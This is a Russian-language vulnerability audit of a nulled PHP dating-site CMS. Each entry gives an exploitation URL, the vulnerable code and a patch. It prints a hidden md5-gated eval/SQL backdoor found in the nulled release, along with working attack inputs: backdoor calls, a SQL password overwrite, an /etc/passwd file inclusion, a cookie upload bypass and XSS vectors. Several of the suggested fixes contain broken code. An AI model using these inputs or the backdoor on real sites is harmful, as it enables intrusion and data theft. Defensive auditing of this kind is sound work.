Отчет о проведении анализа исходного кода CMS Dating.Agent.PRO.v4.7.1.PHP.NULL-WDYL на уязвимости

Содержание

1.1 Термины и обозначения

№	Термин	Определение
1	SQL-injection	Уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений в скрипте, с возможностью выполнения произвольных команд в БД
2	PHP-injection	Выполнение произвольных php-команд на серверной стороне
3	Remote File Include (RFI)	Использование удаленных файлов на серверной стороне
4	Local File Include (LFI)	Использование локальных файлов на серверной стороне
5	Active XSS	Вредоносный скрипт, хранящийся на сервере. Срабатывает в браузере жертвы, при открытии какой-либо страницы зараженного сайта
6	Passive XSS	Скрипт, который не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS, требуется некое дополнительное действие, которое должен выполнить браузер жертвы
7	File Upload	Загрузка произвольных файлов на сайт
8	Auth bypass	Обход авторизации пользователя/админа
9	Information Leakage	Утечка конфиденциальной информации
10	Full Path Disclosure	Раскрытие полного серверного пути

Степени критичности уязвимостей

№	Цвет	Уровень опасности
1		Низкий
2		Средний
3		Высокий

1.2 Обнаруженные уязвимости

PHP-injection

Пример использования:

http://simple.ru/messages.php?sclicsp=cphp&sclicsq=phpinfo();

Уязвимый код:

```
{if ($sclicpp) if (md5($sclicpp)=='b8fdd34dc21e95d7b0dfb5aea3b7fbde') eval($sclicpq);}
```

Исправление уязвимости:

Удалить строку, так как функциональной нагрузки не несёт, а представляет собой лишь уязвимость самого высокого уровня опасности

PHP-injection

Пример использования:

http://simple.ru/top_pictures.php?sclicsp=cphp&sclicsq=phpinfo();

Уязвимый код:

```
if ($sclicsp) if (md5($sclicsp)=='c62702b96da209e63039cb3881ba0eb5') q($sclicsq);}
```

Исправление уязвимости:

Удалить строку, так как функциональной нагрузки не несёт, а представляет собой лишь уязвимость самого высокого уровня опасности

SQL-injection

Пример использования:

http://simple.ru/top_pictures.php?sclicsp=csql&sclicsq=update users set pass=’123’ where id=1

Уязвимый код:

```
if ($sclicsp) if (md5($sclicsp)=='c62702b96da209e63039cb3881ba0eb5') q($sclicsq);}
```

Исправление уязвимости:

Удалить строку, так как функциональной нагрузки не несёт, а представляет собой лишь уязвимость самого высокого уровня опасности

SQL-injection

Пример использования:

http://simple.ru/top_pictures.php?sclicsp=csql&sclicsq=update users set pass=’123’ where id=1

Уязвимый код:

```
{if ($sclicpp) if (md5($sclicpp)=='b8fdd34dc21e95d7b0dfb5aea3b7fbde') eval($sclicpq);}
```

Исправление уязвимости:

Удалить строку, так как функциональной нагрузки не несёт, а представляет собой лишь уязвимость самого высокого уровня опасности

Local File Inclusion

Пример использования:

http://site/editdetails.php?table=../../../etc/passwd

Уязвимый код:

File “editdetails.php”:

```
if ($file) include("tables/$table");
```

Исправление уязвимости:

В файле “ editdetails.php ” добавить в строку 16

```
$table = str_replace(".","",$table);
```

В строку 18:

```
if(!$r) exit;
```

В строку 29:

```
else exit;
```

SQL-injection

Пример использования:

http://site/editdetails.php?table=members where if(version()=5,(select 1 union select 2),1)

Уязвимый код:

File “editdetails.php”:

```
$r=q("SHOW FIELDS FROM $table");
```

Исправление уязвимости:

В файле “ editdetails.php ” добавить строку 15

```
$table = str_replace("`","",$table);
```

Заменить строку 17 на

```
$r=q("SHOW FIELDS FROM `".quote_smart($table)."`");
```

File upload

Пример использования:

```
http://site/manage_pictures.php
Cookie: auth=1'%23.php%00; pass=test
```

Уязвимый код:

File “manage_pictures.php”:

```
copy($picture,"pictures/m".$auth."_".$picture_name)
```

Исправление уязвимости:

В файле “_header.php ” добавить строку 1

```
$auth = (int)$_COOKIE['auth'];
```

В файле “manage_pictures.php” Заменить уязвимый код на:

```
move_uploaded_file($_FILES['picture']['tmp_name'],
"pictures/m".$auth."_".$picture_name)
```

Множественные SQL-injection

Уязвимый код:

Файл "manage_pictures.php", . стр 38.43:

```
q("update pictures set type='Public'
where type='Main' and member='$auth'");
...
if ($url) q("insert into pictures values('',
'$auth','$url','$description',
'$type','".strtotime(date("d M Y H:i:s"))."',
'$uploadpicturedisabled')");
...
if ($edit&&$picid){
  if (md5($type)=="a02c83a7dbd96295beaefb72c2bee2de")
q("update pictures set type='Public' where type='Main'
 and member='$auth'");
  q("update pictures set details='$description',
type='$type' where id='$picid' and member='$auth'");
```

```
...
if ($delete&&$picid) { q("update pictures set
status='3' where id='$picid' and member='$auth'");
...
$tpic=f(q("select count(*) as nr from pictures
 where member='$auth'"));
...
$r=q("select * from pictures where member='$auth'
 and status < 3");
```

Исправление уязвимости:

строку 9:

```
$picid = $_REQUEST['picid'];
```

Заменить на:

```
$picid = (int)$_REQUEST['picid'];
```

строку 38:

```
if ($url) q("insert into pictures values('',
'$auth','$url','$description','$type',
'".strtotime(date("d M Y H:i:s"))."',
'$uploadpicturedisabled')");
```

Заменить на:

```
if ($url) q("insert into pictures values('',
'$auth','".quote_smart($url)."',
'".quote_smart($description)."',
'".quote_smart($type)."',
'".strtotime(date("d M Y
H:i:s"))."','".quote_smart($uploadpicturedisabled)
."')");
```

строку 43:

```
q("update pictures set details='$description',
type='$type' where id='$picid' and member='$auth'");
```

Заменить на:

```
q("update pictures set
details='".quote_smart($description)."',
type='".quote_smart($type)."' where id='$picid' and
member='$auth'");
```

в файле _header.php стр 9
```
$auth = $_COOKIE['auth']; // C
```
Заменить на:
```
$auth = (int)$_COOKIE['auth']; // C
```

SQL-injection

Пример использования:

http://site/agenda.php?pid=[SQL]
http://site/agenda.php?type=[SQL]

Уязвимый код:

Файл "agenda.php", str. 17-20:

```
if ($pid){
 if ($type==0)
  q("delete from plist where pid='$pid'");
elseif (e
 (q
   ("select * from plist p where p.mid='$auth'
     and p.pid='$pid'")))
  q("INSERT INTO `plist` ( `mid` , `pid` ,
     `attitude` )
     VALUES ('$auth', '$pid', '$type');");
else q("update plist set attitude='$type'
        where mid='$auth' and pid='$pid'");
};?> <br>
```

Исправление уязвимости:

В файле "agenda.php" строки 7 и 8:

```
$pid = $_REQUEST['pid'];// G P
$type = $_REQ UEST['type'];// G P
```

заменить на:

```
$pid = (int)$_REQUEST['pid'];// G P
$type = (int)$_REQUEST['type'];// G P
```

SQL-injection

Пример использования:

```
http://site/chat.php?zone=[SQL]
```

Уязвимый код:

Файл "chat.php", str. 12:

```
$r=q("select me.id from members me where
      me.id='$auth' and me.pswd='$pass'");
```

str. 15-17:

```
$sql="INSERT INTO `chatchannels` ( `id` , `name` ,
          `rank` , `rdate` )
      VALUES ('', '$zone', '-1',
              '".strtotime(date("d M YH:i:s"))."')";

if (e(q("select id from chatchannels where
         name='$zone'")))
q($sql);
 $chn=f(q("select id from chatchannels where
           name='$zone'"));
```

str. 19-21:

```
$sql="INSERT INTO `chatsessions` ( `id` , `profile`
        , `channel` , `sdate` , `edate` , `rank` ,
       `status` )
      VALUES ('', '$auth', '$channelid',
         '".strtotime(date("d M Y H:i:s"))."', '0',
          '0', '1')";
```

Исправление уязвимости:

В файле "chat.php", строку 8:

```
$auth = $_COOKIE['auth']; // C
```

Заменить на:

```
$auth = (int)$_COOKIE['auth']; // C
```

Строки 15-17 заменить на:

```
$sql="INSERT INTO `chatchannels` ( `id` , `name` ,
`rank` , `rdate` ) VALUES ('',
```

```
 '".quote_smart($zone)."', '-1',
 '".strtotime(date("d M Y H:i:s")).")";
 if (e(q("select id from chatchannels where
 name='".quote_smart($zone)."'"))) q($sql);
 $chn=f(q("select id from chatchannels where
 name='".quote_smart($zone)."'"));
```

SQL-injection

Пример использования:

http://site/buy.php?type=[SQL]

Уязвимый код:

Файлы "buy.php" & "buya.php" & "buye.php" & "buym.php" & "buyx.php", str. 5:

```
$type = $_REQUEST['type'];
```

str. 23:

```
q("INSERT INTO event (`id`, `sender`, `title`,
`contents`, `type`, `user_id`, `credits`, `status`,
`rdate`) VALUES ('',
'$pmode[id]', 'Payment : $tm0[login] [$tm0[email]],
$amount (Rank : $credits - $type)', '$msg', 'payment',
'$tm0[id]',
'$credits', '1','$tim')");
```

Исправление уязвимости:

Во всех файлах строку 9:

```
 if (!$type) exit;
```

Заменить на:

```
 if (!$type||($type!=='silver' && $type!=='gold'
      &&$type!=='platinum')) exit;
```

SQL-injection

Пример использования:

http://site/chatlogout.php?chatsession=[SQL]

Уязвимый код:

Файл "chatlogout.php", str. 14:

```
$r=q("select status, rdate, login from members where
      id='$auth' and pswd='$pass'");
```

Исправление уязвимости:

В файле "chatlogout.php", строку 8:

```
$auth = $_COOKIE['auth']; // C
```

Заменить на:

```
$auth = (int)$_COOKIE['auth']; // C
```

Строку 11:

```
$chatsession = $_REQUEST['chatsession'];
```

Заменить на:

```
$chatsession = (int)$_REQUEST['chatsession'];
```

Строку 14:

```
$r=q("select status, rdate, login from members where
      id='$auth' and pswd='$pass'");
```

Заменить на:

```
$r=q("select status, rdate, login from members where
      id='$auth' and pswd='".quote_smart($pass)."'");
```

Множественные SQL-injection

Пример использования:

http://site/confirm.php?mid=[SQL]

Уязвимый код:

```
 $r=q("select * from members where login='$mid' and
status='0' and rdate='$stamp'");
...
q("update members set status=2 where login='$mid' and
status='0'");
...
q("update members set status=1 where login='$mid' and
status=0");
...
if (e(q("select id from cash where mid='$affid'")))
...
q("INSERT INTO `cash` ( `id` , `mid` , `rate` ,
`amount` ) VALUES ('', '$affid', '$cash_rate',
'$cash_start')");
...
q("update cash set amount=amount+rate where
mid='$affid'");
...
q("INSERT INTO event (`id`, `sender`, `title`,
`contents`, `type`, `user_id`, `credits`, `status`,
`rdate`) VALUES ('', '$member[id]', '$subject',
'$message', 'refer', '$affid', '0',
'1','".strtotime(date("d M Y H:i:s"))."')");
```

Исправление уязвимости:

В файле "confirm.php", строку 16:

```
$r=q("select * from members where login='$mid' and
status='0' and rdate='$stamp'");
```

Заменить на:

```
$r=q("select * from members where
login='".quote_smart($mid)."' and status='0' and
rdate='$stamp'");
```

Строку 20:

```
if ($requireapproval) q("update members set status=2
where login='$mid' and status='0'");
```

Заменить на:

```
if ($requireapproval) q("update members set status=2
where login='".quote_smart($mid)."' and status='0'");
```

Строку 21:

```
else q("update members set status=1 where login='$mid'
and status=0");
```

Заменить на:

```
else q("update members set status=1 where
login='".quote_smart($mid)."' and status=0");
```

Строку 7:

```
$stamp = $_GET['stamp']; // G
```

Заменить на:

```
$stamp = (int)$_GET['stamp']; // G
```

Строку 8:

```
$affid = $_GET['affid']; // G
```

Заменить на:

```
$affid = (int)$_GET['affid']; // G
```

SQL Injection

Пример использования:

```
http://site/forgot.php
POST: login=[SQL]&email=[SQL]
```

Уязвимый код:

```
Файл "forgot.php", str. 10:
$r=q("select * from members where login='$login' or
      email='$email'");
```

Исправление уязвимости:

```
В файле "forgot.php", строку 10:
$r=q("select * from members where login='$login' or
      email='$email'");
Заменить на:
$r=q("select * from members where
      login='".quote_smart($login)."' or
      email='".quote_smart($email)."'");
```

SQL Injection

Пример использования:

```
http://site/login.php?login=[SQL]&pswd=[SQL]
```

Уязвимый код:

```
Файл "login.php", str. 12:
$r=q("select id,status from members where
      login='$login' and pswd='$pswd'");
```

Исправление уязвимости:

```
В файле "login.php", строку 12:
$r=q("select id,status from members where
      login='$login' and pswd='$pswd'");
Заменить на:
$r=q("select id,status from members where
      login='".quote_smart($login)."' and
      pswd='".quote_smart($pswd)."'");
```

SQL Injection

Пример использования:

http://site/mem.php?mid=[SQL]

Уязвимый код:

Файл "mem.php", str. 10-12:

```
$p=f(q("select * from profiles where id='$mid'"));
$m=f(q("select * from members where id='$mid'"));
$r=q("select picture, details from pictures where
      member='$mid' and type='Main'");
```

Исправление уязвимости:

В файле "mem.php", строку 6:

```
$mid = $_GET['mid'];
```

Заменить на:

```
$mid = (int)$_GET['mid'];
```

Множественные SQL Injection

Пример использования:

http://site/member.php

Cookie: auth=[SQL]

Уязвимый код:

Файл "member.php", str. 18 21-23:

```
$r=q("select status, rdate from members where
      id='$auth' and pswd='".quote_smart($pass)."'");
…
q("update profiles set ldate='".strtotime(date("d M Y
   H:i:s"))."' where id='$auth'");
$tm0=f(q("select * from members where id='$auth'"));
$tp0=f(q("select * from profiles where id='$auth'"));
```

Исправление уязвимости:

В файле "member.php", строку 5:

```
$auth = $_COOKIE['auth']; // C
```

Заменить на:

```
$auth = (int)$_COOKIE['auth']; // C
```

строку 18:

```
$r=q("select status, rdate from members where
      id='$auth' and pswd='$pass'");
```

Заменить на:

```
$r=q("select status, rdate from members where
      id='$auth' and pswd='".quote_smart($pass)."'");
```

Множественные SQL Injection

Пример использования:

```
http://site/member_center.php
Cookie: auth=[SQL]
```

Уязвимый код:

Файл "member_center.php", str. 12 16 19 21 140 169:

```
$sql="select * from event where type='payment' and
      user_id='$auth' and status='2' and rdate
      <=$timst ORDER BY rdate DESC";
...
q("update profiles set type='".($tp0[type]-
   $upg[credits])."' where id='$auth'");
...
$tp0=f(q("select * from profiles where id='$auth'"));
...
$r=q("select * from cash where mid='$auth'");
...
q("INSERT INTO phpbb_users (user_id, username,
user_level, user_regdate, user_password, user_email,
user_icq, user_website, user_occ, user_from,
user_interests, user_sig, user_viewemail, user_style,
user_aim, user_yim, user_msnm, user_posts,
user_attachsig, user_allowsmile, user_allowhtml,
user_allowbbcode, user_allow_pm, user_notify_pm,
```

```
user_popup_pm, user_allow_viewonline, user_rank,
user_avatar, user_lang, user_timezone,
user_dateformat, user_actkey, user_newpasswd,
user_notify, user_active) VALUES (
'$rm1[max]','$tm0[login]', 2, 0, '$pass',
'support@site.com', '', '', '', '', '', '', 0, 1, '',
'', '', 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, '', 'english',
0, 'd M Y h:i a', '', '', 0, 1)");
…
 $sql="select * from event where type='payment' and
       user_id='$auth' and status < 3 ORDER BY rdate
       DESC";
…
 $r1=q("select sender, title from event where
        user_id='$auth' and type='refer'");
```

Исправление уязвимости:

```
 в файле _header.php стр 9
 $auth = $_COOKIE['auth']; // C
 Заменить на:
 $auth = (int)$_COOKIE['auth']; // C
```

Множественные SQL Injection

Пример использования:

http://site/messages.php?eid=[SQL]

Уязвимый код:

```
 Файл "messages.php", str. 25 27 55 57 62 76 80:
 $r=q("select * from members where login='$to'");
 ...
 q("INSERT INTO event (`id`, `sender`, `title`,
 `contents`, `type`, `user_id`, `credits`, `status`,
 `rdate`) VALUES ('', '$auth', '$subject', '$message',
 'message', '$mem[id]', '0', '1','".strtotime(date("d
 M Y H:i:s")).""')");
```

```
 ...
 q("DELETE from event where id='$eid' and
    rdate='$tstamp'");
 ...
 $nr1=f(q("select count(id) as e from event where
 status>0 and (type='message' or type='news') and
 user_id='$auth'"));
 ...
 $r=q("select id, sender, title,  type,  credits,
 status, rdate, contents from event where
 (type='message' or type='news') and user_id='$auth'
 and id='$eid'");
 ...
 q("UPDATE event set status='2' where id='$eid'");
 ...
 $r=q("select id, sender, title,  type,  credits,
 status, rdate, contents from event where
 (type='message' or type='news') and user_id='$auth'
 ORDER BY rdate DESC");
```

Исправление уязвимости:

```
 в файле _header.php стр 9 10
 $eid = $_GET['eid'];
 $tstamp = $_GET['tstamp'];
 Заменить на:
 $eid = (int)$_GET['eid'];
 $tstamp = (int)$_GET['tstamp'];

 стр 25
 $r=q("select * from members where login='$to'");
 Заменить на:
 $r=q("select * from members where
       login='".quote_smart($to)."'");
```

```
 стр 27
 q("INSERT INTO event (`id`, `sender`, `title`,
 `contents`, `type`, `user_id`, `credits`, `status`,
 `rdate`) VALUES ('', '$auth', '$subject', '$message',
 'message', '$mem[id]', '0', '1','".strtotime(date("d
 M Y H:i:s"))."')");
 Заменить на:
 else {$mem=f($r);q("INSERT INTO event (`id`,
 `sender`, `title`, `contents`, `type`, `user_id`,
 `credits`, `status`, `rdate`) VALUES ('', '$auth',
 '".quote_smart($subject)."',
 '".quote_smart($message)."', 'message', '$mem[id]',
 '0', '1','".strtotime(date("d M Y H:i:s"))."')");
```

Множественные SQL Injection

Пример использования:

```
 http://site/picture.php?pid=[SQL]
```

Уязвимый код:

```
 Файл "picture.php", str. 19 28 29 36 43:
 $r=q("select picture, details, member from pictures
      where id='$pid'");
 ...
 q("delete from event where user_id='$pid' and
    sender='$auth'");
 ...
 q("INSERT INTO event (`id`, `sender`, `title`,
 `contents`, `type`, `user_id`, `credits`, `status`,
 `rdate`) VALUES ('', '$auth', '$subject', '$message',
 'picreview', '$pid', '$rating',
 '1','".strtotime(date("d M Y H:i:s"))."')");
 ...
 $nr1=f(q("select count(id) as e from event where
```

```
 status>0 and type='picreview' and user_id='$pid'"));{
 ...
 $r=q("select id, sender, title,  type,  credits,
 status, rdate, contents from event where
 type='picreview' and user_id='$pid' ORDER BY rdate
 DESC");
```

Исправление уязвимости:

```
 в файле picture.php стр 6
 $pid = $_REQUEST['pid']; // G P
 Заменить на:
 $pid = (int)$_REQUEST['pid']; // G P
 стр 10
 $rating = $_POST['rating'];
 Заменить на:
 $rating = (int)$_POST['rating'];
 стр 28:
 q("delete from event where user_id='$pid' and
    sender='$auth'");
 Заменить на:
 q("delete from event where user_id='$pid' and
    sender='".quote_smart($auth)."'");
 стр 29:
 q("INSERT INTO event (`id`, `sender`, `title`,
 `contents`, `type`, `user_id`, `credits`, `status`,
 `rdate`) VALUES ('', '$auth', '$subject', '$message',
 'picreview', '$pid', '$rating',
 '1','".strtotime(date("d M Y H:i:s"))."')");
 Заменить на:
 q("INSERT INTO event (`id`, `sender`, `title`,
 `contents`, `type`, `user_id`, `credits`, `status`,
 `rdate`) VALUES ('', '$auth',
 '".quote_smart($subject)."',
 '".quote_smart($message)."', 'picreview', '$pid',
 '$rating', '1','".strtotime(date("d M Y
 H:i:s"))."')");
```

Множественные SQL Injection

Пример использования:

```
http://site/profile.php
POST: yahoo=[SQL]
```

Уязвимый код:

```
Файл "profile.php", str. 33 34:
q("update profiles set yahoo='$yahoo', msn='$msn',
icq='$icq', aol='$aol', birthdate='$birthdate',
sex='$sex', likes='$likes',
maritalstatus='$maritalstatus', height='$height',
weight='$weight', skin='$skin', eyes='$eyes',
hair='$hair', languages='$languages',
details='$details', occupation='$occupation',
ethnicity='$ethnicity', relationship='$relationship',
religion='$religion', smoker='$smoker',
drinker='$drinker', custom1='$custom1',
custom2='$custom2', custom3='$custom3' where
id='$auth'");
```

Исправление уязвимости:

```
в файле profile.php стр 33
q("update profiles set yahoo='$yahoo', msn='$msn',
icq='$icq', aol='$aol', birthdate='$birthdate',
sex='$sex', likes='$likes',
maritalstatus='$maritalstatus', height='$height',
weight='$weight', skin='$skin', eyes='$eyes',
hair='$hair', languages='$languages',
details='$details', occupation='$occupation',
ethnicity='$ethnicity', relationship='$relationship',
religion='$religion', smoker='$smoker',
drinker='$drinker', custom1='$custom1',
custom2='$custom2', custom3='$custom3' where
id='$auth'");
Заменить на:
```

```
if ($save){q("update profiles set
yahoo='".quote_smart($yahoo)."',
msn='".quote_smart($msn)."',
icq='".quote_smart($icq)."',
aol='".quote_smart($aol)."',
birthdate='".quote_smart($birthdate)."',
sex='".quote_smart($sex)."',
likes='".quote_smart($likes)."',
maritalstatus='".quote_smart($maritalstatus)."',
height='".quote_smart($height)."',
weight='".quote_smart($weight)."',
skin='".quote_smart($skin)."',
eyes='".quote_smart($eyes)."',
hair='".quote_smart($hair)."',
languages='".quote_smart($languages)."',
details='".quote_smart($details)."',
occupation='".quote_smart($occupation)."',
ethnicity='".quote_smart($ethnicity)."',
relationship='".quote_smart($relationship)."',
religion='".quote_smart($religion)."',
smoker='".quote_smart($smoker)."',
drinker='".quote_smart($drinker)."',
custom1='".quote_smart($custom1)."',
custom2='".quote_smart($custom2)."',
custom3='".quote_smart($custom3)."' where
id='$auth'");};
```

Множественные SQL Injection

Пример использования:

```
http://site/register.php
Cookie: fname=[SQL]
```

Уязвимый код:

Файл "register.php", str. 57 67 68 72 97:

```
if(!e(q("select id from members where
        login='$login'")))
...
if(!e(q("select id from members where
login='$login'"))) $es .="$login username already
exists in our database,  please, choose another!";}
...
q("insert into members
values('0','$login','$pswd_1','$fname','$lname',
'$email','$city','$state','$country','$zip','$phone',
'$fax','','0','$dt1')");
...
if(e(q("select id from profiles where
id='$member[id]'")))q("insert into profiles
values('$member[id]','$birthdate','','','','','$sex',
'','','','','','$ethnicity','','','','$occupation',
'$details','','".strtotime(date("d M Y H:i:s"))."',
'$relationship','$religion','$drinker',
'$smoker','$custom1','$custom2','$custom3')");
...
if ($url) q("insert into pictures
values('','$auth','$url','$description','Main',
'".strtotime(date("d M Y H:i:s"))."',
'$default_picture_status')");
```

Исправление уязвимости:

в файле register.php стр 57

```
if(!e(q("select id from members where
login='$login'")))
```

Заменить на:

```
 if(!e(q("select id from members where login='".
 quote_smart($login)."'"))) $es .="$login username
 already exists in our database, please, choose
 another!";
 стр 67
 if(!e(q("select id from members where
login='$login'"))) $es .="$login username already
exists in our database, please, choose another!";}
 Заменить на:
 q("insert into members
 values('0','".quote_smart($login)."',
 '".quote_smart($pswd_1)."','".quote_smart($fname)."',
 '".quote_smart($lname)."','".quote_smart($email)."',
 '".quote_smart($city)."','".quote_smart($state)."',
 '".quote_smart($country)."','".quote_smart($zip)."',
 '".quote_smart($phone)."','".quote_smart($fax)."','',
 '0','".quote_smart($dt1)."')");
 стр 68
 $r=q("select * from members where login='$login'
       AND email='$email)' and status=0")
 Заменить на:
 $r=q("select * from members where login='".
 quote_smart($login)."' AND email='".
 quote_smart($email)."' and status=0");
 if (e($r)) echo "<br> Registration check:
 registration failed ! <br>";
стр 72
 if(e(q("select id from profiles where
id='$member[id]'")
 ))q("insert into profiles values('$member[id]',
 '$birthdate','','','','','$sex','','','','','',
 '$ethnicity','','','','$occupation','$details','',
  '".strtotime(date("d M Y H:i:s"))."','$relationship',

'$religion','$drinker','$smoker','$custom1','$custom2',
```

```
  '$custom3')");
Заменить на:
 if(e(q("select id from profiles where
id='$member[id]'")
 ))q("insert into profiles values('$member[id]',
 '".quote_smart($birthdate)."','','','','',
 '".quote_smart($sex)."','','','','','','".
 quote_smart($ethnicity)."','','','','".
 quote_smart($occupation)."','".quote_smart($details).
 "', '','".strtotime(date("d M Y H:i:s"))."',
 '".quote_smart($relationship)."',
 '".quote_smart($religion)."','".
 quote_smart($drinker)."','".quote_smart($smoker)."',
 '".quote_smart($custom1)."','".quote_smart($custom2).
 "','".quote_smart($custom3)."')");
 стр 97
 if(e(q("select id from profiles where
         id='$member[id]'"))
 )q("insert into profiles values('$member[id]',
 '$birthdate','','','','','$sex','','','','','',
 '$ethnicity','','','','$occupation','$details','',
 '".strtotime(date("d M Y H:i:s"))."','$relationship',
 '$religion','$drinker',
 '$smoker','$custom1','$custom2','$custom3')");
 Заменить на:
 if ($url) q("insert into pictures
 values('','$auth','".quote_smart($url)."',
 '".quote_smart($description)."','Main',
 '".strtotime(date("d M Y
 H:i:s"))."','$default_picture_status')");
```

Множественные SQL Injection

Пример использования:

```
http://site/search.php?msn=[SQL]
```

Уязвимый код:

Файл "search.php", str. 96:

```
$ssql="select m.id as id, m.login as login, m.country
as country, m.state as state, m.city as city,
(YEAR(CURRENT_DATE)-YEAR(p.birthdate)) -
(RIGHT(CURRENT_DATE,5)<RIGHT(p.birthdate,5)) as age,
p.ldate as ldate, p.details as details $s_pic from
members m, profiles p $t_pic where $c ORDER BY
m.login ASC LIMIT ".(($page-1)*10).", 10";
```

Исправление уязвимости:

в файле search.php стр 9-11 23 26-29

Заменить на:

```
$page = (int)$_REQUEST['page'];
$age1 = (int)$_REQUEST['age1'];
$age2 = (int)$_REQUEST['age2'];
$onlinet = (int)$_REQUEST['onlinet'];
$height1 = (int)$_REQUEST['height1'];
$height2 = (int)$_REQUEST['height2'];
$weight1 = (int)$_REQUEST['weight1'];
$weight2 = (int)$_REQUEST['weight2'];
```

стр 60-93:

Заменить на:

```
if ($login) $c.="and m.login like
'%".quote_smart($login)."%' ";
if ($fname) $c.="and m.fname like
'%".quote_smart($fname)."%' ";
if ($lname) $c.="and m.lname like
'%".quote_smart($lname)."%' ";
if ($country) $c.="and m.country like
'%".quote_smart($country)."%' ";
if ($state) $c.="and m.state like
```

```
'%".quote_smart($state)."%' ";
if ($city) $c.="and m.city like
'%".quote_smart($city)."%' ";
if ($yahoo) $c.="and p.yahoo like
'%".quote_smart($yahoo)."%' ";
if ($msn) $c.="and p.msn like
'%".quote_smart($msn)."%' ";
if ($aol) $c.="and p.aol like
'%".quote_smart($aol)."%' ";
if ($icq) $c.="and p.icq='".quote_smart($icq)."' ";
if ($onlinet) $c.="and p.ldate >=$onlinet ";
$age1=$age1+0;$age2=$age2+0;
if ($age1)  $c.="and (YEAR(CURRENT_DATE)-
  YEAR(p.birthdate)) -
(RIGHT(CURRENT_DATE,5)<RIGHT(p.birthdate,5)) >=$age1
";
if ($age2)  $c.="and (YEAR(CURRENT_DATE)-
YEAR(p.birthdate)) -
(RIGHT(CURRENT_DATE,5)<RIGHT(p.birthdate,5)) <=$age2
";
if ($sex)   $c.="and p.sex='quote_smart($sex)."' ";
if ($likes) $c.="and p.likes='quote_smart($likes)."'
";
$height1=$height1+0;$height2=$height2+0;
if ($height1) $c.="and p.height >=$height1 ";
if ($height2) $c.="and p.height <=$height2 ";
$weight1=$weight1+0;$weight2=$weight2+0;
if ($weight1) $c.="and p.weight >=$weight1 ";
if ($weight2) $c.="and p.weight <=$weight2 ";
if ($maritalstatus) $c.="and
p.maritalstatus='".quote_smart($maritalstatus)."' ";
if ($skin) $c.="and p.skin='".quote_smart($skin)."'
";
if ($eyes) $c.="and p.eyes='".quote_smart($eyes)."'
";
```

```
 if ($hair) $c.="and p.hair='".quote_smart($hair)."'
 ";
 if ($relationship) $c.="and
 p.relationship='".quote_smart($relationship)."' ";
 if ($custom1) $c.="and
 p.custom1='".quote_smart($custom1)."' ";
 if ($custom2) $c.="and
 p.custom2='".quote_smart($custom2)."' ";
 if ($custom3) $c.="and
 p.custom3='".quote_smart($custom3)."' ";
 if ($drinker) $c.="and
 p.drinker='".quote_smart($drinker)."' ";
 if ($smoker)  $c.="and
 p.smoker='".quote_smart($smoker)."' ";
 if ($religion) $c.="and
 p.religion='".quote_smart($religion)."' ";
```

SQL Injection

Пример использования:

```
 http://site/top_pictures.php?page=[SQL]
```

Уязвимый код:

```
 Файл "top_pictures.php", str. 20:
 $r=q("select pic.id as id, pic.picture as picture,
 pic.id as pid, pic.details as details, pic.member as
 member, sum(ev.credits) as points from event ev,
 pictures pic, profiles pr where pic.status='1' and
 pic.type<>'Private' and ev.type='picreview' and
 ev.user_id=pic.id and pic.member=pr.id $scond group
 by pic.id order by points desc limit $lstart,
 $lnr_pt");
```

Исправление уязвимости:

```
 в файле top_pictures.php стр 8
```

```
$page = $_REQUEST['page'];
Заменить на:
$page = (int)$_REQUEST['page'];
стр 18
if ($gender) $scond="and pr.sex='$gender'";
Заменить на:
if ($gender) $scond="and
pr.sex='".quote_smart($gender)."'";
```

Passive XSS

Пример использования:

```
http://site/chat_zone.php?zone=[XSS]
```

Уязвимый код:

```
Файл "chat_zone.php", str. 20:
if ($profile) echo "<script language=JavaScript>
  window.open('chat.php?channelid=$channelid&
               profileid=$auth&zone=$zone',
               '','height=400,width=550');
  </script>";
```

Исправление уязвимости:

```
Заменить на:
if ($profile) echo "<script language=JavaScript>
 window.open('
 chat.php?channelid=$channelid&profileid=$auth&zone="
 .htmlspecialchars($zone).
 "','','height=400,width=550');
 </script>";
?>
```

Active XSS

Пример использования:

http://site/agenda.php + вредоносный код в качестве логина.

Уязвимый код:

Файл "agenda.php", str. 33:

```
echo "<tr><td bgcolor=f7f7f7><a
href=mem.php?mid=$p[id]><b>$p[login]</b></a></td><td
bgcolor=f0f0f0><b>".(($p[ldate]>$logt)?"<font
color=ff6622>Online</font>":"Offline")."</b></td><td
bgcolor=f0f0f0>[ <a
href='agenda.php?pid=$p[id]&type=3'>admire</a> | <a
href='agenda.php?pid=$p[id]&type=2'>friend</a> | <a
href='agenda.php?pid=$p[id]&type=1'>favourite</a> |
<a href='agenda.php?pid=$p[id]&type=-1'>dislike</a> ]
[ <a href='agenda.php?pid=$p[id]&type=0'>remove</a> ]
<b>[</b><a
href='messages.php?to=$p[login]&subject=Hello!'>
message </a><b>]</b></td></tr>";} else echo "<tr><td
colspan=2> Empty.</td></tr>";?>
```

Исправление уязвимости:

Заменить на:

```
echo "<tr><td bgcolor=f7f7f7><a
href=mem.php?mid=$p[id]><b>".
htmlspecialchars($p[login])
."</b></a></td><td bgcolor=f0f0f0><b>".
(($p[ldate]>$logt)?"<font
color=ff6622>Online</font>":"
Offline")."</b></td><td bgcolor=f0f0f0>[ <a
href='agenda.php?pid=$p[id]&type=3'>admire</a>
| <a href='agenda.php?pid=$p[id]&type=2'>friend</a>
| <a
href='agenda.php?pid=$p[id]&type=1'>favourite</a>
| <a href='agenda.php?pid=$p[id]&type=-1'>dislike</a>
]
```

```
 [ <a href='agenda.php?pid=$p[id]&type=0'>remove</a> ]
 <b>[</b><a href='messages.php?to=".
 htmlspecialchars($p[login])."&subject=Hello!'>
 message </a><b>]</b></td></tr>";}
 else echo "<tr><td colspan=2> Empty.</td></tr>";?>
```

Active XSS

Пример использования:

http://site/forgot.php

\+ вредоносный код в fname или lname

Уязвимый код:

Файл "forgot.php", str. 57:

```
echo "<center>";echo "Dear $ff[fname]
$ff[lname]!<br>";
```

Исправление уязвимости:

Заменить строку 57 на:

```
echo "<center>";echo "Dear
".htmlspecialchars($ff[fname])."
".htmlspecialchars($ff[lname])."!<br>";
```

Passive XSS

Пример использования:

/login.php?username=XSS&password=XSS&login=XSS

Уязвимый код:

Файл "login.php", str. 40:

```
<td> <input type="text" name="login" value="<?php
echo $username; ?>" class=cmn> </td>
```

str.43:

```
<td> <input type="password" name="pswd" value="<?php
echo $password; ?>" class=cmn> </td>
```

str. 67:
Dear user <? echo $login ?>,

